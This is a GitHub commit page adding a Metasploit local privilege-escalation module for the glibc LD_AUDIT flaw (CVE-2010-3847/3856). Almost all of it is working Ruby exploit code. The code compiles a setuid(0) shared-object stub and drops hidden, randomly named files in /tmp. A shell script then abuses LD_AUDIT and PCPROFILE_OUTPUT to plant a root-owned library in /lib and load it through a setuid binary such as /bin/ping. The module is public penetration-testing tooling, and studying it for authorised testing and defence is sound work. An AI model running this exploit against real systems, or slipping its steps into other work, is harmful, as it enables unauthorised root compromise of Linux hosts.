Skip to content

Commit 092eb0c

Browse files
committed
Add glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation exploit
1 parent 6175455 commit 092eb0c

File tree

1 file changed

+246
-0
lines changed

1 file changed

+246
-0
lines changed
Lines changed: 246 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,246 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/local/linux'
7+
require 'msf/core/exploit/exe'
8+
9+
class MetasploitModule < Msf::Exploit::Local
10+
Rank = ExcellentRanking
11+
12+
include Msf::Post::File
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
include Msf::Exploit::Local::Linux
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
20+
'Description' => %q{
21+
This module attempts to gain root privileges on Linux systems by abusing
22+
a vulnerability in the GNU C Library (glibc) dynamic linker.
23+
24+
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
25+
properly restrict use of the LD_AUDIT environment variable when loading
26+
setuid executables. This allows loading arbitrary shared objects from
27+
the trusted library search path with the privileges of the suid user.
28+
29+
This module uses LD_AUDIT to load the libpcprofile.so shared object,
30+
distributed with some versions of glibc, and leverages arbitrary file
31+
creation functionality in the library constructor to write a root-owned
32+
world-writable file to a system trusted search path (usually /lib).
33+
The file is then overwritten with a shared object then loaded with
34+
LD_AUDIT resulting in arbitrary code execution.
35+
36+
This module has been tested successfully on glibc version 2.11.1 on
37+
Ubuntu 10.04 x86_64.
38+
39+
RHEL 5 and Debian 5 are reportedly affected, but untested. Some glibc
40+
distributions do not contain the vulnerable libpcprofile.so library.
41+
},
42+
'License' => MSF_LICENSE,
43+
'Author' =>
44+
[
45+
'Tavis Ormandy', # Discovery and exploit
46+
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit
47+
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits
48+
'Todor Donev', # libmemusage.so exploit
49+
'Brendan Coles' # Metasploit
50+
],
51+
'DisclosureDate' => 'Oct 18 2010',
52+
'Platform' => 'linux',
53+
'Arch' => [ ARCH_X86, ARCH_X64 ],
54+
'SessionTypes' => [ 'shell', 'meterpreter' ],
55+
'Targets' =>
56+
[
57+
[ 'Automatic', { } ],
58+
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
59+
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
60+
],
61+
'DefaultTarget' => 0,
62+
'References' =>
63+
[
64+
[ 'CVE', '2010-3847' ],
65+
[ 'CVE', '2010-3856' ],
66+
[ 'BID', '44154' ],
67+
[ 'BID', '44347' ],
68+
[ 'EDB', '15274' ],
69+
[ 'EDB', '15304' ],
70+
[ 'EDB', '18105' ],
71+
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
72+
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
73+
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
74+
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
75+
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
76+
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
77+
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
78+
]
79+
))
80+
register_options(
81+
[
82+
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
83+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
84+
])
85+
end
86+
87+
def base_dir
88+
datastore['WritableDir']
89+
end
90+
91+
def suid_exe_path
92+
datastore['SUID_EXECUTABLE']
93+
end
94+
95+
def check
96+
glibc_banner = cmd_exec 'ldd --version'
97+
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
98+
if glibc_version.eql? ''
99+
vprint_error 'Could not determine the GNU C library version'
100+
return CheckCode::Safe
101+
elsif glibc_version >= Gem::Version.new('2.12.2') ||
102+
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
103+
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
104+
return CheckCode::Safe
105+
end
106+
vprint_good "GNU C Library version #{glibc_version} is vulnerable"
107+
108+
lib = 'libpcprofile.so'
109+
@lib_dir = nil
110+
vprint_status "Checking for #{lib} in system search paths"
111+
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
112+
search_paths.split('path=')[1..-1].join.split(':').each do |path|
113+
lib_dir = path.to_s.strip
114+
next if lib_dir.eql? ''
115+
libs = cmd_exec "ls '#{lib_dir}'"
116+
if libs.include? lib
117+
@lib_dir = lib_dir
118+
break
119+
end
120+
end
121+
if @lib_dir.nil?
122+
vprint_error "Could not find #{lib}"
123+
return CheckCode::Safe
124+
end
125+
vprint_good "Found #{lib} in #{@lib_dir}"
126+
127+
unless setuid? suid_exe_path
128+
vprint_error "#{suid_exe_path} is not setuid"
129+
return CheckCode::Detected
130+
end
131+
vprint_good "#{suid_exe_path} is setuid"
132+
133+
CheckCode::Appears
134+
end
135+
136+
def upload_and_chmodx(path, data)
137+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
138+
rm_f path
139+
write_file path, data
140+
cmd_exec "chmod +x '#{path}'"
141+
register_file_for_cleanup path
142+
end
143+
144+
def on_new_session(client)
145+
# remove root owned shared object
146+
if client.type == 'meterpreter'
147+
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
148+
client.fs.file.rm @so_path
149+
else
150+
client.shell_command_token "rm #{@so_path}"
151+
end
152+
end
153+
154+
def exploit
155+
check_status = check
156+
157+
if check_status == CheckCode::Appears
158+
print_good 'The target appears to be vulnerable'
159+
elsif check_status == CheckCode::Detected
160+
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
161+
else
162+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
163+
end
164+
165+
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
166+
payload_path = "#{base_dir}/#{payload_name}"
167+
168+
# Set target
169+
uname = cmd_exec 'uname -m'
170+
vprint_status "System architecture is #{uname}"
171+
if target.name.eql? 'Automatic'
172+
case uname
173+
when 'x86_64'
174+
my_target = targets[2]
175+
when /x86/, /i\d86/
176+
my_target = targets[1]
177+
else
178+
fail_with Failure::NoTarget, 'Unable to automatically select a target'
179+
end
180+
else
181+
my_target = target
182+
end
183+
print_status "Using target: #{my_target.name}"
184+
185+
cpu = nil
186+
case my_target['Arch']
187+
when ARCH_X86
188+
cpu = Metasm::Ia32.new
189+
when ARCH_X64
190+
cpu = Metasm::X86_64.new
191+
else
192+
fail_with Failure::NoTarget, 'Target is not compatible'
193+
end
194+
195+
# Compile shared object
196+
so_stub = %|
197+
extern int setuid(int);
198+
extern int setgid(int);
199+
extern int system(const char *__s);
200+
201+
void init(void) __attribute__((constructor));
202+
203+
void __attribute__((constructor)) init() {
204+
setuid(0);
205+
setgid(0);
206+
system("#{payload_path}");
207+
}
208+
|
209+
210+
begin
211+
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
212+
rescue
213+
print_error "Metasm encoding failed: #{$ERROR_INFO}"
214+
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
215+
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
216+
fail_with Failure::Unknown, 'Metasm encoding failed'
217+
end
218+
219+
# Upload shared object
220+
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
221+
so_path = "#{base_dir}/#{so_name}"
222+
upload_and_chmodx so_path, so
223+
224+
# Upload exploit
225+
@so_path = "#{@lib_dir}/#{so_name}.so"
226+
exp = %(
227+
umask 0
228+
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
229+
umask 2
230+
cat #{so_path} > #{@so_path}
231+
LD_AUDIT="#{so_name}.so" #{suid_exe_path}
232+
echo > #{@so_path}
233+
)
234+
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
235+
exp_path = "#{base_dir}/#{exp_name}"
236+
upload_and_chmodx exp_path, exp
237+
238+
# Upload payload
239+
upload_and_chmodx payload_path, generate_payload_exe
240+
241+
# Launch exploit
242+
print_status 'Launching exploit...'
243+
output = cmd_exec "#{exp_path}&"
244+
output.each_line { |line| vprint_status line.chomp }
245+
end
246+
end

0 commit comments

Comments
 (0)